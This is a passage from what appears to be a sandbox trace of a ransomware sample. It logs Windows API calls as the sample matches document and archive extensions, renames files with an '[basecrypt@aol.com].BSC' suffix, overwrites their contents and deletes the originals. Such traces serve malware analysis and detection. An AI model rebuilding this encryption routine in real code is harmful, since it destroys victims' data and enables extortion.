(lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.024] lstrlenW (lpString=".doc") returned 4 [0110.024] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString=".docx") returned 5 [0110.025] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0110.025] lstrlenW (lpString=".pdf") returned 4 [0110.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString=".xls") returned 4 [0110.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString=".xlsx") returned 5 [0110.025] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0110.025] lstrlenW (lpString=".ppt") returned 4 [0110.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.025] lstrlenW (lpString=".zip") returned 4 [0110.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString=".rar") returned 4 [0110.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.025] lstrlenW (lpString=".bz2") returned 4 [0110.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.025] lstrlenW (lpString=".7z") returned 3 [0110.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.025] lstrlenW (lpString=".dbf") returned 4 [0110.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.025] lstrlenW (lpString=".1cd") returned 4 [0110.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.026] lstrlenW (lpString=".jpg") returned 4 [0110.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.026] lstrlenW (lpString=".doc") returned 4 [0110.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".docx") returned 5 [0110.026] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0110.026] lstrlenW (lpString=".pdf") returned 4 [0110.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".xls") returned 4 [0110.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".xlsx") returned 5 [0110.026] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0110.026] lstrlenW (lpString=".ppt") returned 4 [0110.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.026] lstrlenW (lpString=".zip") returned 4 [0110.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".rar") returned 4 [0110.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.026] lstrlenW (lpString=".bz2") returned 4 [0110.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.027] lstrlenW (lpString=".7z") returned 3 [0110.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.027] lstrlenW (lpString=".dbf") returned 4 [0110.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.027] lstrlenW (lpString=".1cd") returned 4 [0110.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0110.027] lstrlenW (lpString=".jpg") returned 4 [0110.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.027] lstrcmpiW (lpString1=".msu", lpString2=".BSC") returned 1 [0110.027] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0110.027] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.028] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=5091790) returned 1 [0110.028] CloseHandle (hObject=0x310) returned 1 [0110.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0110.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.028] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0110.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.029] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc64 | out: lpNewFilePointer=0x0) returned 1 [0110.029] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.029] ReadFile (in: hFile=0x310, lpBuffer=0x3b2c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b2c058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.508] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.508] ReadFile (in: hFile=0x310, lpBuffer=0x3b6c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b6c058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.830] ReadFile (in: hFile=0x310, lpBuffer=0x3bac058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bac058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.956] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.956] WriteFile (in: hFile=0x310, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x303fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0110.978] SetEndOfFile (hFile=0x310) returned 1 [0110.979] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4383238 [0110.983] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0110.983] WriteFile (in: hFile=0x310, lpBuffer=0x4383238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.016] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.017] WriteFile (in: hFile=0x310, lpBuffer=0x4383238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.018] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.018] WriteFile (in: hFile=0x310, lpBuffer=0x4383238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.020] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4383238 | out: hHeap=0x5c0000) returned 1 [0111.111] CloseHandle (hObject=0x310) Thread: id = 14 os_tid = 0xcc8 [0099.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c30048 [0099.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c40050 [0099.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab50 [0099.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d080 [0099.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac40 [0099.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3d3b020 [0099.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac58 [0099.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac58, Size=0x20) returned 0x5fec78 [0099.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab68 [0099.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab68, Size=0x20) returned 0x5feb88 [0099.840] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.840] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.840] Wow64DisableWow64FsRedirection (in: OldValue=0x317ff50 | out: OldValue=0x317ff50*=0x0) returned 1 [0099.840] lstrlenW (lpString="kernel32.dll") returned 12 [0099.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.840] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.840] Sleep (dwMilliseconds=0x64) [0099.997] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.460] Sleep (dwMilliseconds=0x64) [0100.801] lstrcmpiW (lpString1=".cmd", lpString2=".BSC") returned 1 [0100.801] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0100.801] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.305] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=307) returned 1 [0101.306] CloseHandle (hObject=0x328) returned 1 [0101.306] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0101.306] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.306] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.306] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.306] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.306] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0101.306] GetLastError () returned 0x0 [0101.306] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x133, lpOverlapped=0x0) returned 1 [0101.317] WriteFile (in: hFile=0x32c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x140, lpOverlapped=0x0) returned 1 [0101.318] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.318] WriteFile (in: hFile=0x32c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf6, lpOverlapped=0x0) returned 1 [0101.319] SetEndOfFile (hFile=0x32c) returned 1 [0101.319] CloseHandle (hObject=0x32c) returned 1 [0101.320] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.320] SetEndOfFile (hFile=0x328) returned 1 [0101.321] CloseHandle (hObject=0x328) returned 1 [0101.321] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0101.321] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0101.321] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.321] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.322] lstrlenW (lpString=".doc") returned 4 [0101.322] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString=".docx") returned 5 [0101.322] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0101.322] lstrlenW (lpString=".pdf") returned 4 [0101.322] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString=".xls") returned 4 [0101.322] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString=".xlsx") returned 5 [0101.322] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0101.322] lstrlenW (lpString=".ppt") returned 4 [0101.322] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.322] lstrlenW (lpString=".zip") returned 4 [0101.322] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString=".rar") returned 4 [0101.322] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString=".bz2") returned 4 [0101.322] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0101.322] lstrlenW (lpString=".7z") returned 3 [0101.322] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0101.322] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.322] lstrlenW (lpString=".dbf") returned 4 [0101.322] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0101.322] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.322] lstrlenW (lpString=".1cd") returned 4 [0101.322] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0101.322] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.323] lstrlenW (lpString=".jpg") returned 4 [0101.323] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.323] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.323] lstrlenW (lpString=".doc") returned 4 [0101.323] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString=".docx") returned 5 [0101.323] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0101.323] lstrlenW (lpString=".pdf") returned 4 [0101.323] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString=".xls") returned 4 [0101.323] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString=".xlsx") returned 5 [0101.323] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0101.323] lstrlenW (lpString=".ppt") returned 4 [0101.323] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.323] lstrlenW (lpString=".zip") returned 4 [0101.323] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString=".rar") returned 4 [0101.323] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0101.323] lstrlenW (lpString=".bz2") returned 4 [0101.323] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0101.323] lstrlenW (lpString=".7z") returned 3 [0101.323] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0101.323] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.324] lstrlenW (lpString=".dbf") returned 4 [0101.324] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0101.324] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.324] lstrlenW (lpString=".1cd") returned 4 [0101.324] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0101.324] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0101.324] lstrlenW (lpString=".jpg") returned 4 [0101.324] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0101.324] lstrcmpiW (lpString1=".MARKER", lpString2=".BSC") returned 1 [0101.324] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0101.324] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0101.582] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=0) returned 1 [0101.582] CloseHandle (hObject=0x348) returned 1 [0101.582] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString=".doc") returned 4 [0101.583] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".docx") returned 5 [0101.583] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0101.583] lstrlenW (lpString=".pdf") returned 4 [0101.583] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".xls") returned 4 [0101.583] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".xlsx") returned 5 [0101.583] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0101.583] lstrlenW (lpString=".ppt") returned 4 [0101.583] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString=".zip") returned 4 [0101.583] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".rar") returned 4 [0101.583] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".bz2") returned 4 [0101.583] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString=".7z") returned 3 [0101.583] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0101.583] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString=".dbf") returned 4 [0101.583] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString=".1cd") returned 4 [0101.583] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0101.583] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.583] lstrlenW (lpString=".jpg") returned 4 [0101.583] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString=".doc") returned 4 [0101.584] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".docx") returned 5 [0101.584] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0101.584] lstrlenW (lpString=".pdf") returned 4 [0101.584] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".xls") returned 4 [0101.584] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".xlsx") returned 5 [0101.584] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0101.584] lstrlenW (lpString=".ppt") returned 4 [0101.584] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString=".zip") returned 4 [0101.584] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".rar") returned 4 [0101.584] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".bz2") returned 4 [0101.584] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString=".7z") returned 3 [0101.584] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString=".dbf") returned 4 [0101.584] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString=".1cd") returned 4 [0101.584] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0101.584] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0101.584] lstrlenW (lpString=".jpg") returned 4 [0101.585] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0101.585] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.585] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0101.585] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=18264) returned 1 [0101.585] CloseHandle (hObject=0x348) returned 1 [0101.585] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0101.585] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0101.585] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.585] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.586] GetLastError () returned 0x0 [0101.586] ReadFile (in: hFile=0x348, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x4758, lpOverlapped=0x0) returned 1 [0101.664] WriteFile (in: 